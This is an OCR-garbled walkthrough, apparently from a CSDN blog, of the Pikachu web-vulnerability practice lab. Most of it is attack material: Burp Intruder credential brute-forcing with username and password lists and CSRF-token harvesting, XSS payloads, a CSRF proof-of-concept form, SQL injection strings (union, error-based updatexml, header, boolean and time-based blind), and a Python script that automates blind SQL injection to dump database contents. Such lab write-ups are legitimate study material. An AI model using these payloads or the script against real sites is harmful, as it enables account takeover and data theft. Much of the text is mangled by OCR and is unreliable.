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FF4: admin. pikachu. test. vince. allen. kobe. grady. kevin. lucy. lili
%RG: 123456, 000000, abc123
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Positions

Attack type: | Cluster bomb

POST /vul/burteforce/bf _form.php HTTP/1.1

Host: f19c696a67fc4f23bebbb79a16591e26.app.mituan.zone
Content-Length: 38

Cache-Control: max-age=8

Origin: http://f19c696a67fc4f23bebbb79a16591e26.app.mituan.zone
Upgrade-Insecure-Requests: 1

DNT: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.8 (Windows NT 18.8; WOW64) AppleWebKit/537.3
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,1i
.9

11 Referer: http://f19c696a67fc4f23beb6b79a16591e26.app.mituan.zone/v
12 Accept-Encoding: gzip, deflate

13 Accept-Language: zh-CN,zh;g=0.9

14 Cookie: UM_distinctid=17de@e3b15b9d7-8a6471d9226e2d-30614205-14400
15 Connection: close

16

17 username=§abc§&password=§abc§&submit=Login
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Target Positions

E‘-‘) Payload Sets

You can define o

Payloads

Payloads Resource Pool Options

ne or more payload sets. The number of payload sets depends on the

can be customized in different ways.

Payload set: l 2

4

Payload count: 3

Payload type: l Simple list

~ l Request count: 30

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste

Clear

123456
000000
abc123

CSDN @zycdn

Start attack

[ Add ] | Enter a new item ‘
l Add from list ... w ]
Target Positions Payloads Resource Pool Options

Make unmodified bas|

4, Intruder attack of f19c696a67fc4f23beb6b79a16591e26.app.mituan.zone - Temporary attack - Not saved to project file

@

Use denial-of-service | Attack Save Columns
Store full payloads Results Target Positions Payloads Resource Pool Options
‘ Filter: Showing all items
Grep - Match Request Payload 1 Payload 2 Status Error  Timeout Length ccess
O These settings can be use| 1 admin 123456 200 34893
12 pikachu 000000 200 34993
Flag result items with [ 5 test abc123 200 34993
] 200 35017 (]
success 1o pikachu 123456 200 35017
3 test 123456 200 35017
4 vince 123456 200 35017
3 allen 123456 200 35017
6 kobe 123456 200 35017
7 grady 123456 200 35017
8 kevin 123456 200 35017
9 lucy 123456 200 35017
[ Add ] | success |10 Il 123456 200 35017

Match type: ) Simple st

Regex

Case sensitive match

Exclude HTTP header

@ Grep - Extract
o These settings can be use

CSDN @zycdn



30 E A9 5253 (on server)

fERepeaterfi it K ILILUEAS P AE E HH .

1 = 2 x 3 x
- . 5. Intruder attack of f19c696a67fc4f23bebsb79a16591e26.app.mituan.zone - Temporary attack - Not saved to project file -
Target Positions Payloads Resource Pool Opti
—_— Attack Save Columns
@ Payload Positions Results Target Positions Payloads Resource Pool Options
Cnm‘?gurethe positions where payloads will be inserted into 1‘ Filter: Showing all items
details.
Attack typ II Cluster bomb I Request Payload 1 Payload 2 Status Error  Timeout Length | success
1 admin 123456 200 35254
1 POST /vul/burteforce/bf_server.php HTTP/1|12 pikachu 000000 200 35254
2 Host: f19¢696a67fc4f23beb6b79a16591e26.ap|23 test abc123 200 35254 9
3 Content-Length: 51 0 200 35278 )
4 Cache-Control: max-age=@ 2 pikachu 123456 200 35278
5 Origin: http://f19c696a67fc4af23beb6b79a16 3 test 123456 200 35278
6 Upgrade-Insecure-Requests: 1 4 vince 123456 200 35278
7/DNT: 1 . . 5 allen 123456 200 35278
2 Content-Type: application/x-www-form-urle
o9 User-Agent: Mozilla/5.8 (Windows NT 16.8;|® kobe 123456 200 35278
10 Accept: 7 grady 123456 200 35278
text/html,application/xhtml+xml,applicati{8 kevin 123456 200 35278
.9 9 lucy 123456 200 35278
11 Referer: http://f19c696a67fc4f23beb6b79al( 10 lili 123456 200 35278
12 Accept-Encoding: gzip, deflate
13 Accept-Language: zh-CN,zh;q=8.9 Request Response
14 Cookie: UM_distinctid=17de@e3bl5b9d7-0a64 =
15 Connection: close Pretty JEEN W Actions v
16 9 User-Agent: Mozilla/5.8 (Windows NT 10.8; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.08.432¢
l?[username:§abc§&password:§abc§&vcode:sttb Safari/537.36
10 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/webp,image/apng,*/*;q=6.8,applic:
-exchange;v=b3;q=0.9
11 Referer: http://f19c696a67fc4f23beb6b79a16591e26.app.mituan.zone/vul/burteforce/bf_server.php
12 Accept-Encoding: gzip, deflate
13 Accept-Language: zh-CN,zh;q=6.9
14 Cookie: UM_distinctid=17de@e3bl5b9d7-0a6471d9226e2d-306142085-144800-17de@e3bl5ca54; PHPSESSID=
9mmcqnl6dp9Ip7bpterlcm2d3ig
15 Connection: close
16
17 username=admin&password=123456&vcode=sttbv5&submit=Login CSDN @zycdn

5E A% 2t (on client)

EH M B &vcode=G5KUQ

Target Positions Payloads Resource Pod Attack Save Columns
@ Payload Positions Results Target Positions Payloads Resource Pool Options
Configure the positions where payloads will be in Filter: Showing all items
details.
Request Payload 1 Payload 2 Status Error  Timeout Length  success
Attack type: | Cluster bomb 1 admin 122456 200 36466
12 pikachu 000000 200 36466
1 POST /vul/burteforce/bf_client.pH23 test abc123 200 36466
2 Host: f19c696a67fc4f23beb6b79a169 200 36490
3 ED"EG“E‘LFC”g’l:h: 5@ o 2 pikachu 123456 200 36490
4 Cache-Control: max-age=
3 test 123456 200 36490
5 Origin: http://f19c696a67fc4f23bg es 12aee o0 Ceto0
& Upgrade-Insecure-Requests: 1 vinee
7 DNT: 1 5 allen 123456 200 36490
2 Content-Type: application/x-www-f© kobe 123456 200 36490
9 User-Agent: Mozilla/5.8 (Windows |7 grady 123456 200 36490
10 Accept: 8 kevin 123456 200 36490
text/html, application/xhtml+xml,dq lucy 123456 200 36490
-9 10 lili 123456 200 36490
11 Referer: http://f19c696a67fcaf23H
12 Accept-Encoding: gzip, deflate Request Response
13 Accept-Language: zh-CN,zh;q=0.9
14 Cookie: UM_distinctid=17de@e3bl5h Fretly JEEIE \n  Actions v
15 Connection: close 9 User-Agent: Mozilla/5.8 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4
16 Safari/537.36
17 username=§abc§&password=§abc§&suli1o Accept:

11
12
13

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,appl
-exchange;v=b3;q=0.9

Referer: http://f19c696a67fc4f23beb6b79a16591e26.app.mituan.zone/vul/burteforce/bf_client.php
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

14 Cookie: UM_distinctid=17de@e3bl5b9d7-0a6471d9226e2d-30614205-144080-17de@e3bl5ca54; PHPSESSID=
Immcqnl6dp9p7bpterlcm2d3jg

15 Connection: close

16

17 username=pikachu&password=000000&submit=Login CSDN @zycdn
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1.

Target

Paositions Payloads Resource Pool Options

:?) Payload Positions E

Configgure the positions where payloads will be interted into the base request. The attack type determines the way in which payloads are assigned 1o payload positions - see help for full
details.

Attack type: [ Pitchfork v |

TR R T T ST

11
12
13
14
15
16
17

2.

POST /vul/burteforce/bf_token.php HTTP/1.1
Host: fl9cedbab?fcafllbebsb?9alss9le26 ., app.mituan. zone —
Content-Length: 72

Cache-Control: max-age=@

Origin: http://fl9c696a67fodfi3bebbb79al6591e26. app.mituan. zone
Upgrade-Insecure-Requests: 1

DNT: 1 LT
Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.8 (Windows NT 10.8; WOWS4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/B88.9.4324.150 Satari/537.36

Accept:

text/himl ,application/xhtml+xml,application/xml;q=8.9,image/avif, image/ webp, image/apng,*/*;q=0.8,application/signed-exchange ;w=b3;q=0

-9

Referer: http://floc696a67feaf2ibebbb?9a16591026, app . nituan, zone/vul /burteforce/bf_token.php

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=8.9

Cookie: UM_distinctid=17de@elbl5bad?-acd7ld9226e2d-30614205-144000-17dede3bl5ca54; PHPSESSID=9mmcqniédpSpTbpterlomid3je

Connection: close

username=§admninfpassword=08008058token=52494361ea4571b2e4568836301554submit=Login

Payload Sets Payload Sets Payload Sets
Vou can define one or more payload sets. The rumber of payload se You can define one or more payload sets. The numbeer of payload set ¥ou can define one or more payload sets. The rumber of payload s
can be customized in different ways. €an be customnized in different ways. can be customized in different ways.
| Paylosdcount: 30 Paviesdser: |1 ~ | Payload count: 30 Papoad set: |1 v | Payload count: 30
F | Request count; 30 Payload type: | Custom iterator V, Request count: 30 Payload type: | cu-s:om iteratar -;: Request count: 30

Payload Options [Custom iteratar]

PayloadlE HCOd qu«..ﬂ ‘{ﬁ,\-{j %| Payload Optiens [Custom iterater]

This paybosd type lets you configure multiple sts of items, and qene 110% Payload type lets you ““"59'" multiple lists of items, and gene  This paylaad type lets you configure multiple lists of items, and gend

Position: | 1 [ Clear sl | m_% _:_ c'“". ] P\Wltm 3 : Claar ol ]
Lint iterns for pasition 2 (1) List items .
Paste | |passward= [ raste | (000000
= | |abet2z
ohd e ) | tede J]ioages

P

Payload set: | 2 w | Paylosd count:
Pay!uedt)rpe:! Recursive grep ~ |  Requestcount: 3

Payload Options [Recursive grep)

e —

) Grep - Extract

O End at defimiter: . * f\n\n <labels
These settings can be used t

End at ficed length: 27
B Extract the following iten

This paytoad type lets you extract sach paylosd from the resporse | Add__ | |From [valig Exclude HTTP headers [ Update config based on selection below
exploit. Extract grep items can be defined in the Options tab. Edit 1 o AEPUL LYPES FOIIWUIY eSS pORIMAIY pas
L J = acE- fa fa-lock”
Select the "extract grep” |umfr\omvm|chtod¢mmﬁoads Remave 2;; E;Sp:;,cla“ SRR R
[From [value=") ta [* f=\rin <label>] r — 924 ¢/labels
|_Duplicate | 925 &/brs
[ w | 926
— 927 ¢input type="hidden™ names="token™ values="2454361ea
b , Down | 928
T cleas | 929 ¢label><input class="submit™ name="submit" type="
J label>
iz 1 938
L ] Maximum capture length: | | 931 </ Forms»
Initial payload for first request: | 2459436102457 1b2e45668363015 932 <p> csrf token errard/p>
“ . . . ¥ Top b apl :
4. Resource)Pool i%-H H 25 2
Request - Payload 1 Payload 2 Status Error Timeout Length SUCCEess value="
1] 200 [ ] [ ] 34809 ] 1602961ea458f033(
1 admindtpassword=000000 24943612457 1b2e45688363015 200 34788 [ 8142261ea458f 16
2 pikachuBpassword =000000 B142261ea458f1e6af415836120 34785 3426361ead58f2f4k
3 testBpassword =000000 3426361 ead5812f4bc 162322040 ] 34809 ] 2210961ea458f43ft
4 vince&password=000000 2210961ea458f43fb 1523826677 200 34809 | 2111361ead58f545
5 allen&password =000000 2111361ea458f34562407620550 200 34809 2855061245860
[ kabe&password=000000 | AT t,
7 grady8ipassword=000000 23::"§$%ER¥J HﬁtOkenﬁ ML & ﬁﬁﬂ EEJ::safsz&
B8 kevin&password=000000 98B4161ea458M026af4T4278485 200 O 4215161ea458fa21,
9 lucy&password=000000 4215161ea458fa212f530240201 200 8841461ea458fb1c
10 liligepassword =000000 8B41467ea458Mb1c1a125645035 200 4386761ea458fc02
1 adminf&password=abc123 43B67612a458fc02dT126382895 200 1930661ea458fd3b
13 rilarhnfrnaccwnrd =ahe 133 103NAA1 ~Ad SRFAThAEISNGIES  F00 RAGTATsadSRfeAN

Y7 RN
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Regquest Response

Pretty BEETUE \n Actions W
YMMCQNibOpYp/OpPTEerLicmeas]g
15 Connection: close
16
17 username=admin&password=0888888&token=249436[ead571b2e45688363015&submit=Login

QB3 (€3] [ searcr.. CSDI @yt

XSS: Cross-Site Scripting

=54 B XSS(get)

GET /vul/xss/xss_reflected get.php?message=<script>alert(1)</script>&submit=submit HTTP/1.1
St 1 xss(post)

ERKSELER, REREHSE.

POST /vul/xss/xsspost/xss_reflected_post.php HTTP/1.1

Host: 4aflc5bd5a334c128bc7ffbd68be@236.app.mituan.zone

Cookie: ant[uname]=admin; ant|[pw]|=10470c3b4blfedl2c3baac@l4bel5fac67c6e815; UM distinctid=17de@e3b15b9d7-0a6471d
9226e€2d-30614205-144000-17de@e3bl5ca54; PHPSESSID=b3to3bnioj946mroaasgadgideo

Connection: close

message=<script>alert(1)</script>&submit=submit

7% B XSS

<script>alert(1)</script> BX <img src=a onerror=alert(1)>, IE3ZEIW],

DOMZ! xss

#MIN: javascript:alert(1) Bi# ' onclick=alert(1)>, Mk,

DOMZ! xss-x

WIN: javascript:alert(1) , MA"EULHARKIGOEE"-H LRI OH - HiLEEHREER
XSSE#T

B S <scriptralert(1)</script> , 4K <img src=a onerror=alert(2)>, #AILMiik. RIGEFEE, HHadmin. 123456
BREREEN.

xssZ it 38

i <img src=# onerror=alert(1)> Bi# <scrIpt>alert(1)</script> o
xss2 htmispecialchars

i\ javascript:alert(1) Bl ' onclick='alert(1) .

xss2 hrefii i

I javascript:alert(1) o

xss2 jsti th

BN ';alert(1)// o


http://4af1c5bd5a334c128bc7ffbd68be0236.app.mituan.zone/vul/xss/xssblind/admin_login.php

CSRF

vince/allen/kobe/grady/kevin/lucy/lili, 215 4 % & 123456

CSRF(get)

Intercept HTTP history WebSockets history Options

f? Request to http://4afic5bd5a33- 0 [54.222.208.118]

Scan
Forward ] [ Drop Do passive scan ] [ Open Browser
Pretty MEEITM \n  Actions Do active scan
1 GET /wvul/csrf/csrfget/csr send to Intruder cur =22&add=33&email=448&s1
2 Host: 4aflc5bd5a334c128b¢  Send to Repeater Ctrl-R
3 Upgrade-Insecure-Requests Send to Sequencer
4 DNT: 1 Send to C
5 User-Agent: Mozilla/S.@ endto tLomparer sbKit/537.36 (KHTML, I
6 Accept: text/html,applice: Send to Decoder ;9=0.9,1image/avif, imag
7 Referer: http://4aflc5bd" Request in browser , tuan.zone/vul/csrf/csr
8 Accept-Encoding: gzip, de .
5 Accept-Language: zh-CN,zt Engagement tools > Find references
9 Cookie: UM_distinctid=17¢  Change request method Discover content b1
; Connection: close Change body encoding Schedule task
: Copy URL Generage B0
SR | I
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>

<script>history.pushState('", "', '/')</script>
<form action="http://4aflc5bd5a334c128bc7ffbd68bed236.app.mituan.zone/vul/csrf/csrfget/csrf_get edit.php">
<input type="hidden" name="sex" value="11" />
<input type="hidden" name="phonenum" value="22" />
<input type="hidden" name="add" value="33" />
<input type="hidden" name="email" value="44" />
<input type="hidden" name="submit" value="submit" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

fEfvince B, HEHIERI, MBZFERCSRF Poctifr Acsr.html, RS B Hallen® 3, ViiE T Ecsrf.htmlEI AT,
CSRF(post)

PR _E T2

CSRF Token

% token, T LABHIECSRF.

Sql Inject

BrREAN



id=-1 union all select 1,user()&submit=%E6%9F%AS%EB%AF%A2

sae TUpLaun voaue— s

POST /vul/sqli/sqli_id.php HTTP/1.1

6
Host: 4aflc5bd5a334c128bc7ffbd68be@236.app.mituan.zone </option>
Content-Length: 37 913 </selects
Cache-Control: max-age=@ ., s " . ipm
914 t class="sqgl bmit" type=
Origin: http://4aflc5bd5a334c128bc7ffbd68be@236.app.mituan.zone 915 (/;;:ES class= sqli_submi ype
Upgrade-Insecure-Requests: 1 916 <p class='notice'>

DNT: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.8 (Windows NT 10.0; WOW64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36

hello,vince <br />
your email is: 44
</p>
<p class="notice'>

Referer:

hello,all br />
http://4aflc5bd5a334c128bc7ffbd68be®236. app.mituan.zone/vul/sqli/sqli_id. ysuroé:aiiniz-rli345
php ’
Accept-Encoding: gzip, deflate :épzlass='notice'>
Accept-Language: zh-CN,zh;q=0.9 hello,kobe <br />

Cookie: UM_distinctid=
17deBe3bl5b9d7-8a6471d9226e2d-306142085-144000-17de@e3bl5ca54; PHPSESSID=
op24finju7aursér8mkurjheqd|

Connection: close

your email is: kobe@pikachu.com
</p>
<p class="notice'>

hello,grady <br />

id=1 or 1=18&submit=%E6XIFXASYEBLAFYA2 (/ﬁfur email is: grady@pilashytcom

FRBEN

" or 1=1 # &), EFINE GET /vul/sqli/sqli_str.php?name=vince'+or+1%3d1%23&submit=%E6%9F%AS%ESSAF%A2 HTTP/1.1
BRUEAN

%BE % or 1=1# BEEHITERER.

XXB AN

BIANV') or 1=1# .

insert/updatei: A

mavEM, #i\ 222" or updatexml(1,concat(@x7e, 'root',0x7e),3) or ' 222' or
updatexml(1,concat(@x7e, 'root',0x7e),3) or '1'="1 #WE—ANHPFE, RERK.

|& Cross-Site Scripting v )\L!Iﬂﬂ- i%ﬁl_l Iﬂﬂ_;"%}u\!

AP 22" or updatexml(1,conce

2 CSRF v
» SQL-Inject v =g 222

..... ik o

..... é—i?_ ‘EE)\{ pOSt} aE:H—L

----- SRRSO\ (get)

itk
""" BERT
..... ST N {HE:

submit o 7y
» insert/update™iEA ‘ CSDN @zycdn

deletei® A



FEERMAPIRE S, EaEMRE — &R, E2E8EES, B8 GET /vul/sqli/sqli_del.php?
id=56+or+updatexml(1,concat(@x7e,user(),0x7e),3) HTTP/1.1 BIVJ T IREETEN . B BN GET /vul/sqli/sqli_del.php?
id=56+or+1=1 HTTP/1.1 M&MBRIEES .

headerix A\

GET /vul/sqli/sqli_header/sqli_header.php HTTP/1.1

Host: 907c32e21ddb4858ae779071204f72d0.app.mituan.zone

User-Agent: Mozilla/5.0' or updatexml(1l,concat(@x7e,111,0x7e),3) or '1'="'1

Accept: text/html' or updatexml(l,concat(@x7e,222,0x7e),3) or '

Cookie: ant[uname]=admin' or updatexml(1,concat(®x7e,333,0x7e),3) or '1'='1; ant[pw]|=10470c3b4blfedl2c3baac@l4be
15fac67c6e815; UM distinctid=17de@e3bl5b9d7-0a6471d9226e2d-30614205-144000-17de@e3bl5ca54; PHPSESSID=tujOus8pkfq
rk9eoh8kmfifikt

Connection: close

EANLEHEAT L,
B iEboolean

GET /vul/sqli/sqli_blind_b.php?name=vince'+and+length(database())>1%23&submit=%E6%9F%AS%E8%AF%A2 HTTP/1.1

GET /vul/sqli/sqli_blind_b.php?name=vince'+and+substring(database(),1,1)="p"'%23&submit=%E6%9F%AS%E8%AF%A2
HTTP/1.1

GET /vul/sqli/sqli_blind_b.php?
name=vince'+and+ascii(substr((select+table_name+from+information_schema.tables+where+table_schema%3ddatabase()+1

imit+@,1),1,1))%3d108%23&submit=%E6%IF%ASKESSAF%A2 HTTP/1.1

# pythonfix

#

import requests
import re

# HESHAE
headers = {
'User-Agent': 'Mozilla/5.0'
¥
url = 'http://907c32e21ddb4858ae779071204f72d0.app.mituan.zone/vul/sqli/sqli_blind_b.php";

# grammar = 'database()'
# FREENE WA
grammars = [ 'database()', '(SELECT GROUP_CONCAT(DISTINCT TABLE_SCHEMA) FROM information_schema.TABLES)",
" (SELECT GROUP_CONCAT(DISTINCT TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA="pikach
u")’,
" (SELECT GROUP_CONCAT(DISTINCT COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA="pika
chu") ",
" (SELECT GROUP_CONCAT(DISTINCT username) FROM pikachu.member)']
grammars = [ 'database()', '(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA="p
ikachu" 1limit 0,1)']
num = @
# grammar = "'
# sql AKX D FEHANG
guess = 'abcdefghigklmnopqgrstuvwxyz0123456789@_.,"

# BEHAEHEAF
def loop():
for i in enumerate(grammars):
print(i[1] + "-->", end="")
grammar = i[1]

’ N



parameter(grammar)
print()

# MESHEA
def parameter(data):

values = "'
length = ©
flag = False

# KRHHEEKE
# for i1 in range(1, 109):
# # 12 HTRIE S K

# # values = "lucy' and length(grammar)={num}#".format(num=1)

# # 27 information_schema.TABLES HJ%E TABLE_SCHEMA TFHrA IERERHAKE

# values = "lucy' and (SELECT lLength(GROUP_CONCAT(DISTINCT TABLE_SCHEMA)) FROM information_schema.TABLES
)={num}#". format(

# num=1)

# # print(values)

# flag = query(values)

# if flag:

# print("HHEELKE: " + str(i))
# Length = 1

# # return 1

# for 1 in range(1, length + 1):
flag = False
isnum = ©
for i in range(1, 1024):
# for j 1in range(@, len(guess) + 1):
for j in range(@, len(guess)):
X = guess[j:j + 1]
# print(x, end="")
values = "lucy' and substring({grammar},{num},1)="{guess}"#".format(grammar=data, num=i,guess=x)
flag = query(values)
# print(flag)
if flag:
print(x, end="")

break
# PIERBBIFRERITR, DL AR I T ) BT
# print('-"' + str(isnum),end="")

# print(bool(1-flag),end="")

if bool(1l - flag):
# print('ni-' + x + '"-ni' + str(i))
isnum = isnum + 1

if isnum ==
break

# flag = False

# print()

# print(values)

# FERES

def query(values):

params = {
‘name’: values,
"submit': '#iE’
b

response = requests.get(url=url, headers=headers, params=params);
query_text = response.text

# print(query_text)

#



# 1&HHxpath

# tree = etree.HTML(query text)

# tree_str = tree.xpath('//div/p[@class="notice"]/text()")
# print(tree_str[0])

#
# (EHIER
ex = "<p class='notice'>(.*?) uid:.*?</p>"

judge = re.findall(ex, query_text, re.S)
# print(judge)
if len(judge) == 0O:
return False
else:
return True

if __name__ == "__main__ ":
# print(values)

# query()

# parameter()

loop()

input ("\niEHINMERBEH! 1 ! )

PS D:\Documents\python> & C:/Users/ /AppData/Local/Programs/Python/Python39/python.exe d:/Documents/python/test.py
database() hu

(SELECT GROUP_CONCAT(TABLE NAME) FROM information schema.TABLES WHERE TABLE SCHEMA="pikachu” limit @,1)-->httpinfo,member,message,users,xssb
lind

B time

i vince' and sleep(2)#, RINZEFHFHIIRME .,

. e @ O | Y Q Preserve log Disable cache | Online ¥ | & ¥
A sqli > ETRENEE AT~ | Filter Hide data URLs [4ll | XHR JS CS5 Img Media Font Doc WS
Has blocked cookies Blocked Requests

what's your username?
I 500 ms 1000 ms 1500 ms 20

X |
vince' and sleep(2)# =5

i don't care who you are!

Name Status Type Initiator Size dmne Wat

|| sqli_blind_t.php?name=vince%... 200 docum... Other 42 kB 205s

__ bootstrap.min.css 200 stylesh...  sgli blind t.ph... 0ms

|| font-awesome.min.css 200 stylesh...  sgli blind t.ph... 0Oms

__ fonts.googleapis.com.css 200 stylesh...  sgli blind t.ph... ‘msm‘”_,_.',._‘.‘“ ] ’C_?Z"/]’f’_r
are min rag 200 stulach <ali hlind t nh fmemn N me

GET /vul/sqli/sqli_blind_t.php?name=vince'+and+if((length(database())%3d7),sleep(2),1)--
+q&submit=%E6%OFSASKEBUAF%A2 HTTP/1.1, FERT2siR[EIHIE, RABIEEBKRKET, FTHMEFNREL . FBE. k.

BFHWEA

BARG SSRGS RAL. NULLRTEINE: LR, MG B 8 7 R S R GvE & R . 7 BRI E 5 %df s X
it

BN W' or 1=1# &#H. [name=%E6%B1%89%27+0or+1%3D1%23&submit=%E6%9F %A5%E8%AF%A2]

BRERA abc' or 1=1# T#, IAFBEA name=abckdf%27+or+1%3D1%238&submit=%E6%OFSASKESUAF%A2 [ 7E B 5| S Al
N%dfY .
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